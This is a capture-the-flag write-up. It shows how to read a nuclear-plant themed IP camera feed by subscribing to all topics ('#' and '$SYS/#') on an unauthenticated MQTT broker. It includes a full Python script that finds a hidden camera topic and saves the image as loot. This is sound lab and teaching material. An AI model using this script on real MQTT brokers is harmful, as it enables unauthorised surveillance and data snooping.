IP Camera
SUMMARY
Norzh Nuclea’s BlueTeam is monitoring critical areas of the nuclear plant to prevent potential physical intrusion.
Hack their monitoring system to visualize the nuclear reactor.
TL; DR
The 10.13.49.56
host contains an IP camera web view which is based on MQTT broker to get the images.
WRITEUP
IP camera
The 10.13.49.56
host is running an HTTP server, let’s run Firefox:
According to the source code of the web page, we know that the video stream from an IP camera is fetched from an MQTT broker and printed on the page:
var client, topic;
function mqtt_connect() {
// Generate a random client ID
var client_id = "clientID_" + parseInt(Math.random() * 100);
var port = 9001;
var host = "10.13.49.56";
var uri = `ws://${host}:${port}/mqtt`;
topic = "/efcdfa4a-4dbb-4e6f-9347-5f93f9d72115";
// Initialize new Paho client connection
client = new Paho.MQTT.Client(uri, client_id);
// Set callback handlers
client.onConnectionLost = onConnectionLost;
client.onMessageArrived = onMessageArrived;
// Connect the client, if successful, call onConnect function
client.connect({
onSuccess: onConnect,
onFailure: function(){console.log(`Connection to: ${host} on port: ${port} failed.`)}
});
}
function onConnectionLost(responseObject) {
if (responseObject.errorCode !== 0) {
console.log(`Connection lost: ${responseObject.errorMessage}`);
}
};
function onMessageArrived(message) {
document.querySelector("#img").src = message.payloadString;
};
function onConnect() {
console.log(`Subscribing to: ${topic}`);
client.subscribe(topic);
}
mqtt_connect();
The MQTT broker runs on the 10.13.49.56
host on port 9001 and serves the /efcdfa4a-4dbb-4e6f-9347-5f93f9d72115
topic.
Let’s dig into the MQTT protocol and see what extra information we can get!
MQTT
The MQTT (Message Queuing) protocol has been designed for low-bandwidth and high-latency network communications.
The key feature of the MQTT protocol is centralization, messages are never sent directly from a sensor to a data consumer.
Instead, the messages are tagged and sent to a message broker that filters and forwards them only to recipients that have subscribed to a specific topic.
Here, we can assume the following diagram:
Subsription
According to the official documentation:
The payload of a SUBSCRIBE packet contains a list of topic filters indicating the topics to which the client wants to subscribe.
Description |
7 |
6 |
5 |
4 |
3 |
2 |
1 |
0 |
Topic Filter |
||||||||
byte 1 |
Length MSB |
|||||||
byte 2 |
Length LSB |
|||||||
bytes 3..N |
Topic Filter |
|||||||
Subscription Options |
||||||||
|
Reserved |
Retain Handling |
RAP |
NL |
QoS |
|||
byte N+1 |
0 |
0 |
X |
X |
X |
X |
X |
X |
Addditional notes about topic filters:
- The number sign (
#
U+0023) is a wildcard character that matches any number of levels within a topic #
is valid and will receive every Application Message- A subscription to
#
will not receive any messages published to a topic beginning with a$
- A subscription to
$SYS/#
will receive messages published to topics beginning with$SYS/
- For a Client to receive messages from topics that begin with
$SYS/
and from topics that don’t begin with a $, it has to subscribe to both#
and$SYS/#
Wildcard subscription
Since we wan’t to get additional data from our MQTT server, we just need to subscribe to both #
and $SYS/#
while filtering messages coming from the known topic /efcdfa4a-4dbb-4e6f-9347-5f93f9d72115
:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import paho.mqtt.client as mqtt
import base64
CAM1_TOPIC = '/efcdfa4a-4dbb-4e6f-9347-5f93f9d72115'
B64_IMG_HEADER = b'data:image/jpeg;base64,'
LOOT_IMG = 'loot.jpg'
known_topics = []
# CONNACK response from the server callback.
def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1) # Subscribe to all topics
client.subscribe('$SYS/#') # Broker Status (Mosquitto)
# PUBLISH message from the server callback.
def on_message(client, userdata, msg):
global known_topics
if msg.topic != CAM1_TOPIC:
if msg.topic not in known_topics:
print(f'New topic found: {msg.topic}')
known_topics.append(msg.topic)
if B64_IMG_HEADER in msg.payload:
print(f'Found JPEG file on {msg.topic}! Saving it into {LOOT_IMG}...')
with open(LOOT_IMG, 'wb') as fd:
fd.write(base64.b64decode(msg.payload.split(B64_IMG_HEADER)[1]))
client.disconnect()
client = mqtt.Client(transport='websockets')
client.on_connect = on_connect
client.on_message = on_message
client.connect('10.13.49.56', 9001, 60)
client.loop_forever()
Output:
New topic found: $SYS/broker/version
New topic found: $SYS/broker/uptime
New topic found: $SYS/broker/load/messages/received/1min
New topic found: $SYS/broker/load/messages/received/5min
New topic found: $SYS/broker/load/messages/received/15min
New topic found: $SYS/broker/load/messages/sent/1min
New topic found: $SYS/broker/load/messages/sent/5min
New topic found: $SYS/broker/load/messages/sent/15min
New topic found: $SYS/broker/load/publish/received/1min
New topic found: $SYS/broker/load/publish/received/5min
New topic found: $SYS/broker/load/publish/received/15min
New topic found: $SYS/broker/load/publish/sent/1min
New topic found: $SYS/broker/load/publish/sent/5min
New topic found: $SYS/broker/load/publish/sent/15min
New topic found: $SYS/broker/load/bytes/received/1min
New topic found: $SYS/broker/load/bytes/received/5min
New topic found: $SYS/broker/load/bytes/received/15min
New topic found: $SYS/broker/load/bytes/sent/1min
New topic found: $SYS/broker/load/bytes/sent/5min
New topic found: $SYS/broker/load/bytes/sent/15min
New topic found: $SYS/broker/load/connections/1min
New topic found: $SYS/broker/load/connections/5min
New topic found: $SYS/broker/load/connections/15min
New topic found: $SYS/broker/messages/stored
New topic found: $SYS/broker/messages/received
New topic found: $SYS/broker/messages/sent
New topic found: $SYS/broker/store/messages/count
New topic found: $SYS/broker/store/messages/bytes
New topic found: $SYS/broker/retained messages/count
New topic found: $SYS/broker/publish/messages/received
New topic found: $SYS/broker/publish/messages/sent
New topic found: $SYS/broker/publish/bytes/received
New topic found: $SYS/broker/publish/bytes/sent
New topic found: $SYS/broker/bytes/received
New topic found: $SYS/broker/bytes/sent
New topic found: /53e2a5b6-03c0-42d5-b08c-83a246a921d5
Found JPEG file on /53e2a5b6-03c0-42d5-b08c-83a246a921d5! Saving it into loot.jpg...
We’ve found another IP camera!
FLAG
Final flag is: ENSIBS{MQTt_4uTH??}
Happy Hacking!